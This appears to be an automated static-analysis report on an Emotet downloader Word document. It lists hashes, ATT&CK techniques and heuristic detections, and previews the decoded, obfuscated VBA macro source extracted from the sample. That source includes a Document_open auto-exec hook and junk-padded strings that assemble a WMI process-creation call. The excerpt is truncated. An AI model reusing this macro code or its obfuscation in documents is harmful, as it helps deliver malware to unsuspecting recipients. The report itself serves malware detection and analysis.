Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 79e036ede938eb4e…

MALICIOUS

Office (OLE)

184.2 KB Created: 2020-08-25 07:11:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 155f00d39eb25ec5f7d202d55c19403f SHA-1: 88cac44b497b16e5a46c9bd3496f665b3f862d8d SHA-256: 79e036ede938eb4e7672f7a92f013e76e61dc8fb6bc16a491e556095e5ba65f2
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' specifically points to this technique. ClamAV detection further confirms the malicious nature and identifies it as a downloader variant of Emotet. The VBA code is heavily obfuscated but the presence of auto-execution and CreateObject calls suggests it attempts to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9494555-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9494555-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14501 bytes
SHA-256: 09079bcd4e91520ea974c5533891d9ee230b7effa6ffd87a5a84041f51cf65d6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "A3bld1desm31pv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Uksholrwcijg5e.Irdnasz1p2d
End Sub


Attribute VB_Name = "Uksholrwcijg5e"
Attribute VB_Base = "0{FE1B6874-EB31-45AB-9472-426B7FBC0AE8}{A903F979-A7F5-44AC-AB16-D929418204F7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Irdnasz1p2d()
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Kxd4dt82huy9x = 100
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Hfr7t3rt5c2r = ChrW(Kxd4dt82huy9x + (15))
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

P2ioutej_6vs9 = "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[i23&bh s6[[hu12 712tdd]]s hj[nm23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[gm23&bh s6[[hu12 712tdd]]s hj[t23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[" + Hfr7t3rt5c2r + "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[:23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[in23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[323&bh s6[[hu12 712tdd]]s hj[223&bh s6[[hu12 712tdd]]s hj[_23&bh s6[[hu12 712tdd]]s hj[" + Uksholrwcijg5e.Sz_4e96062akcegx + "23&bh s6[[hu12 712tdd]]s hj[ro23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[ce23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj["
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Jjpjcs4eack = Izs50g_t_7wi(P2ioutej_6vs9)
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(920
... (truncated)